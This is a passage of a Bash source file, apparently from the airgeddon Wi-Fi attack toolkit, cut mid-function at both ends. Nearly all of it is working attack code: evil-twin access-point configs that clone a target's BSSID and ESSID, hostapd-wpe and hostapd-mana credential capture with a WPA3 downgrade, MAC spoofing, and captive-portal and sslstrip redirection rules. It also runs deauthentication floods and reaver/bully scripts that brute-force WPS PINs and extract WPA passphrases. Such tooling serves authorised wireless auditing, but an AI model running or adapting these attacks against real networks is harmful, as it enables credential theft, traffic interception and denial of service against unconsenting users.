get_hostapd_wpe_version rm -rf "${tmpdir}${hostapd_wpe_file}" > /dev/null 2>&1 et_bssid=$(generate_fake_bssid "${bssid}") { echo -e "interface=${interface}" echo -e "driver=nl80211" echo -e "ssid=${essid}" echo -e "bssid=${et_bssid}" echo -e "channel=${channel}" echo -e "eap_server=1" echo -e "eap_fast_a_id=101112131415161718191a1b1c1d1e1f" echo -e "eap_fast_a_id_info=hostapd-wpe" echo -e "eap_fast_prov=3" echo -e "ieee8021x=1" echo -e "pac_key_lifetime=604800" echo -e "pac_key_refresh_time=86400" echo -e "pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f" echo -e "wpa=2" echo -e "wpa_key_mgmt=WPA-EAP" echo -e "wpa_pairwise=TKIP CCMP" echo -e "rsn_pairwise=TKIP CCMP" echo -e "eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user" echo -e "ieee80211w=0" echo -e "auth_algs=3" } >> "${tmpdir}${hostapd_wpe_file}" { echo -e "ca_cert=${hostapd_wpe_cert_path}ca.pem" echo -e "server_cert=${hostapd_wpe_cert_path}server.pem" echo -e "private_key=${hostapd_wpe_cert_path}server.key" echo -e "private_key_passwd=${hostapd_wpe_cert_pass}" } >> "${tmpdir}${hostapd_wpe_file}" if [ "${channel}" -gt 14 ]; then { echo -e "hw_mode=a" } >> "${tmpdir}${hostapd_wpe_file}" else { echo -e "hw_mode=g" } >> "${tmpdir}${hostapd_wpe_file}" fi if [ "${country_code}" != "00" ]; then { echo -e "country_code=${country_code}" } >> "${tmpdir}${hostapd_wpe_file}" fi if [ "${standard_80211n}" -eq 1 ]; then { echo -e "ieee80211n=1" } >> "${tmpdir}${hostapd_wpe_file}" fi if [ "${standard_80211ac}" -eq 1 ]; then { echo -e "ieee80211ac=1" } >> "${tmpdir}${hostapd_wpe_file}" fi if [ "${standard_80211ax}" -eq 1 ]; then { echo -e "ieee80211ax=1" } >> "${tmpdir}${hostapd_wpe_file}" fi if compare_floats_greater_or_equal "${hostapd_wpe_version}" "${hostapd_wpe_wifi7_version}"; then if [ "${standard_80211be}" -eq 1 ]; then { echo -e "ieee80211be=1" } >> "${tmpdir}${hostapd_wpe_file}" fi fi } #Switch a digit from an original given bssid function generate_fake_bssid() { debug_print local digit_to_change local orig_digit digit_to_change="${1:10:1}" orig_digit=$((16#${digit_to_change})) while true; do ((different_mac_digit=(orig_digit + 1 + RANDOM % 15) % 16)) [[ "${different_mac_digit}" -ne "${orig_digit}" ]] && break done printf %s%X%s\\n "${1::10}" "${different_mac_digit}" "${1:11}" } #Add an invisible char (Zero Width Space - ZWSP) to the original given essid function generate_fake_essid() { debug_print if "${AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING:-true}"; then echo -e "${1}\xE2\x80\x8B" else echo -e "${1}" fi } #Launch hostapd-mana fake Access Point function launch_fake_mana_ap() { debug_print if "${AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING:-true}"; then ${airmon} check kill > /dev/null 2>&1 nm_processes_killed=1 else if [ "${check_kill_needed}" -eq 1 ]; then ${airmon} check kill > /dev/null 2>&1 nm_processes_killed=1 fi fi if [ "${mac_spoofing_desired}" -eq 1 ]; then set_spoofed_mac "${interface}" fi rm -rf "${tmpdir}${hostapd_mana_log}" > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#00FF00\" -geometry ${g1_topright_window} -T \"AP\"" "timeout -s SIGTERM ${timeout_wpa3_downgrade} hostapd-mana \"${tmpdir}${hostapd_mana_file}\" | tee ${tmpdir}${hostapd_mana_log}" "AP" "active" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then hostapd_mana_pid=$! else get_tmux_process_id "timeout -s SIGTERM ${timeout_wpa3_downgrade} hostapd-mana \"${tmpdir}${hostapd_mana_file}\"" hostapd_mana_pid="${global_process_pid}" global_process_pid="" fi sleep 3 } #Launch hostapd and hostapd-wpe fake Access Point function launch_fake_ap() { debug_print if "${AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING:-true}"; then ${airmon} check kill > /dev/null 2>&1 nm_processes_killed=1 else if [ "${check_kill_needed}" -eq 1 ]; then ${airmon} check kill > /dev/null 2>&1 nm_processes_killed=1 fi fi if [ "${mac_spoofing_desired}" -eq 1 ]; then set_spoofed_mac "${interface}" fi recalculate_windows_sizes local command local log_command if [ -n "${enterprise_mode}" ]; then rm -rf "${tmpdir}${hostapd_wpe_log}" > /dev/null 2>&1 rm -rf "${scriptfolder}${hostapd_wpe_default_log}" > /dev/null 2>&1 command="hostapd-wpe \"${tmpdir}${hostapd_wpe_file}\"" log_command=" | tee ${tmpdir}${hostapd_wpe_log}" hostapd_scr_window_position=${g1_topleft_window} else command="hostapd \"${tmpdir}${hostapd_file}\"" log_command="" case ${et_mode} in "et_onlyap") hostapd_scr_window_position=${g1_topleft_window} ;; "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2_beef") hostapd_scr_window_position=${g3_topleft_window} ;; "et_sniffing_sslstrip2") hostapd_scr_window_position=${g4_topleft_window} ;; esac fi if [ "${dos_pursuit_mode}" -eq 1 ]; then if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then dos_pursuit_mode_pids=() fi fi manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${hostapd_scr_window_position} -T \"AP\"" "${command}${log_command}" "AP" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) if [ "${dos_pursuit_mode}" -eq 1 ]; then dos_pursuit_mode_ap_pid=$! dos_pursuit_mode_pids+=("${dos_pursuit_mode_ap_pid}") fi else get_tmux_process_id "${command}" et_processes+=("${global_process_pid}") if [ "${dos_pursuit_mode}" -eq 1 ]; then dos_pursuit_mode_pids+=("${global_process_pid}") fi global_process_pid="" fi sleep 3 } #Set network data parameters function set_network_interface_data() { debug_print std_c_mask="255.255.255.0" ip_mask="255.255.255.255" std_c_mask_cidr="24" ip_mask_cidr="32" any_mask_cidr="0" any_ip="0.0.0.0" any_ipv6="::/0" first_octet="192" second_octet="169" third_octet="1" fourth_octet="0" ip_range="${first_octet}.${second_octet}.${third_octet}.${fourth_octet}" if ip route | grep ${ip_range} > /dev/null; then while true; do third_octet=$((third_octet + 1)) ip_range="${first_octet}.${second_octet}.${third_octet}.${fourth_octet}" if ! ip route | grep ${ip_range} > /dev/null; then break fi done fi et_ip_range="${ip_range}" et_ip_router="${first_octet}.${second_octet}.${third_octet}.1" et_broadcast_ip="${first_octet}.${second_octet}.${third_octet}.255" et_range_start="${first_octet}.${second_octet}.${third_octet}.33" et_range_stop="${first_octet}.${second_octet}.${third_octet}.100" } #Create configuration file for dhcpd function set_dhcp_config() { debug_print rm -rf "${tmpdir}${dhcpd_file}" > /dev/null 2>&1 rm -rf "${tmpdir}clts.txt" > /dev/null 2>&1 ip link set "${interface}" up > /dev/null 2>&1 { echo -e "authoritative;" echo -e "default-lease-time 600;" echo -e "max-lease-time 7200;" echo -e "subnet ${et_ip_range} netmask ${std_c_mask} {" echo -e "\toption broadcast-address ${et_broadcast_ip};" echo -e "\toption routers ${et_ip_router};" echo -e "\toption subnet-mask ${std_c_mask};" } >> "${tmpdir}${dhcpd_file}" if [ "${et_mode}" != "et_captive_portal" ]; then echo -e "\toption domain-name-servers ${internet_dns1}, ${internet_dns2};" >> "${tmpdir}${dhcpd_file}" else echo -e "\toption domain-name-servers ${et_ip_router};" >> "${tmpdir}${dhcpd_file}" fi { echo -e "\trange ${et_range_start} ${et_range_stop};" echo -e "}" } >> "${tmpdir}${dhcpd_file}" leases_found=0 for item in "${!possible_dhcp_leases_files[@]}"; do if [ -f "${possible_dhcp_leases_files[${item}]}" ]; then leases_found=1 key_leases_found=${item} break fi done if [ "${leases_found}" -eq 1 ]; then echo -e "lease-file-name \"${possible_dhcp_leases_files[${key_leases_found}]}\";" >> "${tmpdir}${dhcpd_file}" chmod a+w "${possible_dhcp_leases_files[${key_leases_found}]}" > /dev/null 2>&1 else touch "${possible_dhcp_leases_files[0]}" > /dev/null 2>&1 echo -e "lease-file-name \"${possible_dhcp_leases_files[0]}\";" >> "${tmpdir}${dhcpd_file}" chmod a+w "${possible_dhcp_leases_files[0]}" > /dev/null 2>&1 fi dhcp_path="${tmpdir}${dhcpd_file}" if hash apparmor_status 2> /dev/null; then if apparmor_status 2> /dev/null | grep dhcpd > /dev/null; then if [ -d /etc/dhcpd ]; then cp "${tmpdir}${dhcpd_file}" /etc/dhcpd/ 2> /dev/null dhcp_path="/etc/dhcpd/${dhcpd_file}" elif [ -d /etc/dhcp ]; then cp "${tmpdir}${dhcpd_file}" /etc/dhcp/ 2> /dev/null dhcp_path="/etc/dhcp/${dhcpd_file}" else cp "${tmpdir}${dhcpd_file}" /etc/ 2> /dev/null dhcp_path="/etc/${dhcpd_file}" fi dhcpd_path_changed=1 fi fi } #Change MAC address of desired interface function set_spoofed_mac() { debug_print current_original_mac=$(cat < "/sys/class/net/${1}/address" 2> /dev/null) if [ "${spoofed_mac}" -eq 0 ]; then spoofed_mac=1 declare -gA original_macs original_macs["${1}"]="${current_original_mac}" else if [ -z "${original_macs[${1}]}" ]; then original_macs["${1}"]="${current_original_mac}" fi fi new_random_mac=$(od -An -N6 -tx1 /dev/urandom | sed -e 's/^ *//' -e 's/ */:/g' -e 's/:$//' -e 's/^\(.\)[13579bdf]/\10/') ip link set "${1}" down > /dev/null 2>&1 ip link set dev "${1}" address "${new_random_mac}" > /dev/null 2>&1 ip link set "${1}" up > /dev/null 2>&1 } #Restore spoofed MAC addresses to original values function restore_spoofed_macs() { debug_print for item in "${!original_macs[@]}"; do ip link set "${item}" down > /dev/null 2>&1 ip link set dev "${item}" address "${original_macs[${item}]}" > /dev/null 2>&1 ip link set "${item}" up > /dev/null 2>&1 done } #Set routing state and firewall rules for Evil Twin attacks function set_std_internet_routing_rules() { debug_print control_routing_status "start" if [ ! -f "${system_tmpdir}${routing_tmp_file}" ]; then save_iptables_nftables fi ip addr add "${et_ip_router}/${std_c_mask}" dev "${interface}" > /dev/null 2>&1 ip route add "${et_ip_range}/${std_c_mask_cidr}" dev "${interface}" table local proto static scope link > /dev/null 2>&1 routing_modified=1 clean_initialize_iptables_nftables "start" echo "1" > /proc/sys/net/ipv4/ip_forward 2> /dev/null if [ "${et_mode}" = "et_captive_portal" ]; then if [ "${iptables_nftables}" -eq 1 ]; then "${iptables_cmd}" add rule ip nat_"${airgeddon_instance_name}" prerouting_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${www_port}" counter dnat to "${et_ip_router}:${www_port}" "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${www_port}" counter accept "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${https_port}" counter accept "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" udp dport "${dns_port}" counter accept else "${iptables_cmd}" -t nat -A PREROUTING -p tcp -i "${interface}" --dport "${www_port}" -j DNAT --to-destination "${et_ip_router}:${www_port}" "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p tcp -i "${interface}" --destination-port "${www_port}" -j ACCEPT "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p tcp -i "${interface}" --destination-port "${https_port}" -j ACCEPT "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p udp -i "${interface}" --destination-port "${dns_port}" -j ACCEPT fi elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then if [ "${iptables_nftables}" -eq 1 ]; then "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${bettercap_proxy_port}" counter accept "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" udp dport "${bettercap_dns_port}" counter accept "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${loopback_interface}" counter accept else "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p tcp -i "${interface}" --destination-port "${bettercap_proxy_port}" -j ACCEPT "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p udp -i "${interface}" --destination-port "${bettercap_dns_port}" -j ACCEPT "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -i "${loopback_interface}" -j ACCEPT fi elif [ "${et_mode}" = "et_sniffing_sslstrip2_beef" ]; then if [ "${iptables_nftables}" -eq 1 ]; then "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${bettercap_proxy_port}" counter accept "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" udp dport "${bettercap_dns_port}" counter accept "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${loopback_interface}" counter accept "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${beef_port}" counter accept else "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p tcp -i "${interface}" --destination-port "${bettercap_proxy_port}" -j ACCEPT "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p udp -i "${interface}" --destination-port "${bettercap_dns_port}" -j ACCEPT "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -i "${loopback_interface}" -j ACCEPT "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p tcp -i "${interface}" --destination-port "${beef_port}" -j ACCEPT fi fi if [ "${et_mode}" != "et_captive_portal" ]; then if [ "${iptables_nftables}" -eq 1 ]; then "${iptables_cmd}" add rule nat_"${airgeddon_instance_name}" postrouting_"${airgeddon_instance_name}" ip saddr "${et_ip_range}/${std_c_mask_cidr}" oifname "${internet_interface}" counter masquerade else "${iptables_cmd}" -t nat -A POSTROUTING -s "${et_ip_range}/${std_c_mask}" -o "${internet_interface}" -j MASQUERADE fi fi if [ "${iptables_nftables}" -eq 1 ]; then "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" ip daddr "${et_ip_router}/${ip_mask_cidr}" icmp type echo-request ct state new,related,established counter accept "${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" ip daddr "${et_ip_router}/${ip_mask_cidr}" counter drop else "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -i "${interface}" -p icmp --icmp-type 8 -d "${et_ip_router}/${ip_mask}" -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT "${iptables_cmd}" -A input_"${airgeddon_instance_name}" -d "${et_ip_router}/${ip_mask}" -j DROP fi sleep 2 } #Launch dhcpd server function launch_dhcp_server() { debug_print recalculate_windows_sizes case ${et_mode} in "et_onlyap") dchcpd_scr_window_position=${g1_bottomleft_window} ;; "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2_beef") dchcpd_scr_window_position=${g3_middleleft_window} ;; "et_sniffing_sslstrip2") dchcpd_scr_window_position=${g4_middleleft_window} ;; esac rm -rf "/var/run/${dhcpd_pid_file}" 2> /dev/null manage_output "+j -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${dchcpd_scr_window_position} -T \"DHCP\"" "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}clts.txt 2>&1" "DHCP" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else get_tmux_process_id "dhcpd -d -cf \"${dhcp_path}\" ${interface}" et_processes+=("${global_process_pid}") global_process_pid="" fi sleep 2 } #Execute DoS for Evil Twin and Enterprise attacks function exec_et_deauth() { debug_print prepare_et_monitor case ${et_dos_attack} in "${mdk_command}") rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" deauth_et_cmd="${mdk_command} ${iface_monitor_et_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" ;; "Aireplay") deauth_et_cmd="aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${iface_monitor_et_deauth}" ;; "Auth DoS") deauth_et_cmd="${mdk_command} ${iface_monitor_et_deauth} a -a ${bssid} -m" ;; esac recalculate_windows_sizes if [ -n "${enterprise_mode}" ]; then deauth_scr_window_position=${g1_bottomleft_window} else case ${et_mode} in "et_onlyap") deauth_scr_window_position=${g1_bottomright_window} ;; "et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2_beef") deauth_scr_window_position=${g3_bottomleft_window} ;; "et_sniffing_sslstrip2") deauth_scr_window_position=${g4_bottomleft_window} ;; esac fi if [ "${dos_pursuit_mode}" -eq 1 ]; then if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then dos_pursuit_mode_pids=() fi launch_dos_pursuit_mode_attack "${et_dos_attack}" "first_time" pid_control_pursuit_mode "${et_dos_attack}" & else manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth\"" "${deauth_et_cmd}" "Deauth" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else get_tmux_process_id "${deauth_et_cmd}" et_processes+=("${global_process_pid}") global_process_pid="" fi sleep 1 fi } #Execute DoS for WPA3 downgrade attack function exec_wpa3_downgrade_deauth() { debug_print prepare_wpa3_downgrade_monitor case ${downgrade_dos_attack} in "${mdk_command}") rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" deauth_downgrade_cmd="${mdk_command} ${iface_monitor_downgrade_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" ;; "Aireplay") deauth_downgrade_cmd="aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${iface_monitor_downgrade_deauth}" ;; "Auth DoS") deauth_downgrade_cmd="${mdk_command} ${iface_monitor_downgrade_deauth} a -a ${bssid} -m" ;; esac recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"Deauth\"" "${deauth_downgrade_cmd}" "Deauth" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then downgrade_dos_pid=$! else get_tmux_process_id "${deauth_downgrade_cmd}" downgrade_dos_pid="${global_process_pid}" global_process_pid="" fi sleep 1 } #Create here-doc bash script used for wps pin attacks function set_wps_attack_script() { debug_print rm -rf "${tmpdir}${wps_attack_script_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1 bully_reaver_band_modifier="" if [[ "${wps_channel}" -gt 14 ]] && [[ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 1 ]]; then bully_reaver_band_modifier="-5" fi exec 7>"${tmpdir}${wps_attack_script_file}" wps_attack_tool="${1}" wps_attack_mode="${2}" local unbuffer if [ "${wps_attack_tool}" = "reaver" ]; then unbuffer="" case ${wps_attack_mode} in "pindb"|"custompin") attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -L -f -N -g 1 -d 2 -vvv -p " ;; "pixiedust") attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -K 1 -N -vvv" ;; "bruteforce") attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -L -f -N -d 2 -vvv" ;; "nullpin") attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -L -f -N -g 1 -d 2 -vvv -p ''" ;; esac else unbuffer="stdbuf -i0 -o0 -e0 " case ${wps_attack_mode} in "pindb"|"custompin") attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -L -F -B -v ${bully_verbosity} -p " ;; "pixiedust") attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -d -v ${bully_verbosity}" ;; "bruteforce") attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -S -L -F -B -v ${bully_verbosity}" ;; esac fi attack_cmd2=" | tee ${tmpdir}${wps_out_file}" cat >&7 <<-EOF #!/usr/bin/env bash script_wps_attack_tool="${wps_attack_tool}" script_wps_attack_mode="${wps_attack_mode}" attack_pin_counter=1 script_interface="${interface}" script_wps_bssid="${wps_bssid}" script_wps_channel="${wps_channel}" script_bully_reaver_band_modifier="${bully_reaver_band_modifier}" colorize="${colorize}" user_homedir="${user_homedir}" case "\${script_wps_attack_mode}" in "pindb") script_pins_found=(${pins_found[@]}) script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}" pin_header1="${white_color}Testing PIN " ;; "custompin") current_pin=${custom_pin} script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}" pin_header1="${white_color}Testing PIN " ;; "pixiedust") script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pixiedust} ${attack_cmd1}" pin_header1="${white_color}Testing Pixie Dust attack${normal_color}" ;; "bruteforce") script_attack_cmd1="${unbuffer} ${attack_cmd1}" pin_header1="${white_color}Testing all possible PINs${normal_color}" ;; "nullpin") script_attack_cmd1="${unbuffer}timeout --foreground -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}" pin_header1="${white_color}Testing null PIN" ;; esac pin_header2=" (${yellow_color}" pin_header3="${white_color})${normal_color}" script_attack_cmd2="${attack_cmd2}" #Delete the existing bully session files function clear_bully_session_files() { rm -rf "\${user_homedir}.bully/"*.run > /dev/null 2>&1 rm -rf "\${user_homedir}.bully/"*.pins > /dev/null 2>&1 } #Delete the existing reaver session files function clear_reaver_session_files() { rm -rf "/var/lib/reaver/"*.wpc > /dev/null 2>&1 rm -rf "/var/lib/lib/reaver/"*.wpc > /dev/null 2>&1 rm -rf "/etc/reaver/"*.wpc > /dev/null 2>&1 rm -rf "/usr/local/var/lib/reaver/"*.wpc > /dev/null 2>&1 rm -rf "/usr/local/etc/reaver/"*.wpc > /dev/null 2>&1 } #Check if the password was obtained through the wps pin function manage_wps_pot() { if [ -n "\${2}" ]; then trophy_pin="\${2}" else trophy_pin="Null" fi echo "" > "${wpspotenteredpath}" { date +%Y-%m-%d echo -e "${wps_texts[${language},1]}" echo "" echo -e "BSSID: ${wps_bssid}" echo -e "${wps_texts[${language},2]}: ${wps_channel}" echo -e "ESSID: ${wps_essid}" echo "" echo "---------------" echo "" echo -e "PIN: \${trophy_pin}" echo -e "\${1}" echo "" echo "---------------" echo "" echo "${footer_texts[${language},0]}" } >> "${wpspotenteredpath}" echo "" echo -e "${white_color}${wps_texts[${language},0]}: ${yellow_color}${wpspotenteredpath}" } #Parse the output file generated by the attack function parse_output() { readarray -t LINES_TO_PARSE < <(cat < "${tmpdir}${wps_out_file}" 2> /dev/null) if [ "\${script_wps_attack_tool}" = "reaver" ]; then case "\${script_wps_attack_mode}" in "pindb"|"custompin"|"bruteforce"|"nullpin") failed_attack_regexp="^\[!\][[:space:]]WPS[[:space:]]transaction[[:space:]]failed" success_attack_badpin_regexp="^\[\-\][[:space:]]Failed[[:space:]]to[[:space:]]recover[[:space:]]WPA[[:space:]]key" success_attack_goodpin_regexp="^\[\+\][[:space:]]Pin[[:space:]]cracked" pin_cracked_regexp="^\[\+\][[:space:]]WPS[[:space:]]PIN:[[:space:]]'([0-9]{8})'" password_cracked_regexp="^\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'" ;; "pixiedust") success_attack_goodpixie_pin_regexp="^(\[Pixie\-Dust\]|\[\+\])[[:space:]]*(\[\+\][[:space:]]*WPS|WPS)[[:space:]](pin|PIN):.*([0-9]{8})" success_attack_goodpixie_password_regexp=".*?\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'" ;; esac else case "\${script_wps_attack_mode}" in "pindb"|"custompin"|"bruteforce") failed_attack_regexp="^\[\+\][[:space:]].*'WPSFail'" success_attack_badpin_regexp="^\[\+\][[:space:]].*'Pin[0-9][0-9]?Bad'" success_attack_goodpin_regexp="^\[\*\][[:space:]]Pin[[:space:]]is[[:space:]]'([0-9]{8})',[[:space:]]key[[:space:]]is[[:space:]]'(.*)'" ;; "pixiedust") success_attack_goodpixie_pin_regexp="^(\[Pixie\-Dust\])[[:space:]](PIN|pin|Pin)[[:space:]](FOUND:)[[:space:]]([0-9]{8})" success_attack_goodpixie_password_regexp="^\[\*\][[:space:]]Pin[[:space:]]is[[:space:]]'[0-9]{8}',[[:space:]]key[[:space:]]is[[:space:]]'(.*)'" ;; esac fi case "\${script_wps_attack_mode}" in "pindb"|"custompin"|"nullpin") for item in "\${LINES_TO_PARSE[@]}"; do if [ "\${script_wps_attack_tool}" = "reaver" ]; then if [[ "\${item}" =~ \${success_attack_goodpin_regexp} ]] || [[ "\${pin_cracked}" -eq 1 ]]; then if [[ "\${item}" =~ \${pin_cracked_regexp} ]]; then cracked_pin="\${BASH_REMATCH[1]}" continue elif [[ \${item} =~ \${password_cracked_regexp} ]]; then cracked_password="\${BASH_REMATCH[1]}" return 0 fi pin_cracked=1 continue elif [[ "\${item}" =~ \${success_attack_badpin_regexp} ]]; then return 2 elif [[ "\${item}" =~ \${failed_attack_regexp} ]]; then return 1 fi else if [[ "\${item}" =~ \${success_attack_goodpin_regexp} ]]; then cracked_pin="\${BASH_REMATCH[1]}" cracked_password="\${BASH_REMATCH[2]}" pin_cracked=1 return 0 elif [[ "\${item}" =~ \${failed_attack_regexp} ]]; then return 1 elif [[ "\${item}" =~ \${success_attack_badpin_regexp} ]]; then return 2 fi fi done ;; "pixiedust") for item in "\${LINES_TO_PARSE[@]}"; do if [[ "\${item}" =~ \${success_attack_goodpixie_pin_regexp} ]]; then cracked_pin="\${BASH_REMATCH[4]}" pin_cracked=1 continue elif [[ "\${item}" =~ \${success_attack_goodpixie_password_regexp} ]]; then cracked_password="\${BASH_REMATCH[1]}" return 0 fi done if [ "\${pin_cracked}" -eq 1 ]; then return 0 fi ;; "bruteforce") for item in "\${LINES_TO_PARSE[@]}"; do if [ "\${script_wps_attack_tool}" = "reaver" ]; then if [[ "\${item}" =~ \${success_attack_goodpin_regexp} ]] || [[ "\${pin_cracked}" -eq 1 ]]; then if [[ "\${item}" =~ \${pin_cracked_regexp} ]]; then cracked_pin="\${BASH_REMATCH[1]}" continue elif [[ "\${item}" =~ \${password_cracked_regexp} ]]; then cracked_password="\${BASH_REMATCH[1]}" return 0 fi pin_cracked=1 continue fi else if [[ "\${item}" =~ \${success_attack_goodpin_regexp} ]]; then cracked_pin="\${BASH_REMATCH[1]}" cracked_password="\${BASH_REMATCH[2]}" pin_cracked=1 return 0 fi fi done ;; esac return 3 } #Prints message for pins on timeout function print_timeout() { echo if [ "\${script_wps_attack_mode}" = "pixiedust" ]; then timeout_msg="${white_color}Timeout for Pixie Dust attack${normal_color}" elif [ "\${script_wps_attack_mode}" = "nullpin" ]; then timeout_msg="${white_color}Timeout for null PIN${normal_color}" else timeout_msg="${white_color}Timeout for last PIN${normal_color}" fi echo -e "\${timeout_msg}" } pin_cracked=0 this_pin_timeout=0 case \${script_wps_attack_mode} in "pindb") for current_pin in "\${script_pins_found[@]}"; do possible_bully_timeout=0 if [ "\${attack_pin_counter}" -ne 1 ]; then sleep 1.5 fi bad_attack_this_pin_counter=0 if [ "\${this_pin_timeout}" -eq 1 ]; then print_timeout fi echo echo -e "\${pin_header1}\${current_pin}\${pin_header2}\${attack_pin_counter}/\${#script_pins_found[@]}\${pin_header3}" if [ "\${script_wps_attack_tool}" = "bully" ]; then echo clear_bully_session_files else clear_reaver_session_files fi this_pin_timeout=0 (set -o pipefail && eval "\${script_attack_cmd1}\${current_pin}\${script_attack_cmd2} \${colorize}") if [ "\$?" = "124" ]; then if [ "\${script_wps_attack_tool}" = "reaver" ]; then this_pin_timeout=1 else possible_bully_timeout=1 fi fi attack_pin_counter=\$((attack_pin_counter + 1)) parse_output output="\$?" if [ "\${output}" = "0" ]; then break elif [ "\${output}" = "1" ]; then this_pin_timeout=1 continue elif [ "\${output}" = "2" ]; then continue elif [[ "\${output}" = "3" ]] || [[ "\${this_pin_timeout}" -eq 1 ]] || [[ "\${possible_bully_timeout}" -eq 1 ]]; then if [ "\${this_pin_timeout}" -eq 1 ]; then continue fi bad_attack_this_pin_counter=\$((bad_attack_this_pin_counter + 1)) if [ "\${bad_attack_this_pin_counter}" -eq 3 ]; then this_pin_timeout=1 continue fi if [ "\${possible_bully_timeout}" -eq 1 ]; then this_pin_timeout=1 continue fi fi done ;; "custompin") possible_bully_timeout=0 echo echo -e "\${pin_header1}\${current_pin}\${pin_header2}\${attack_pin_counter}/1\${pin_header3}" if [ "\${script_wps_attack_tool}" = "bully" ]; then echo clear_bully_session_files else clear_reaver_session_files fi (set -o pipefail && eval "\${script_attack_cmd1}\${current_pin}\${script_attack_cmd2} \${colorize}") if [ "\$?" = "124" ]; then if [ "\${script_wps_attack_tool}" = "reaver" ]; then this_pin_timeout=1 else possible_bully_timeout=1 fi fi parse_output output="\$?" if [[ "\${output}" != "0" ]] && [[ "\${output}" != "2" ]]; then if [ "\${this_pin_timeout}" -ne 1 ]; then if [ "\${output}" = "1" ]; then this_pin_timeout=1 elif [ 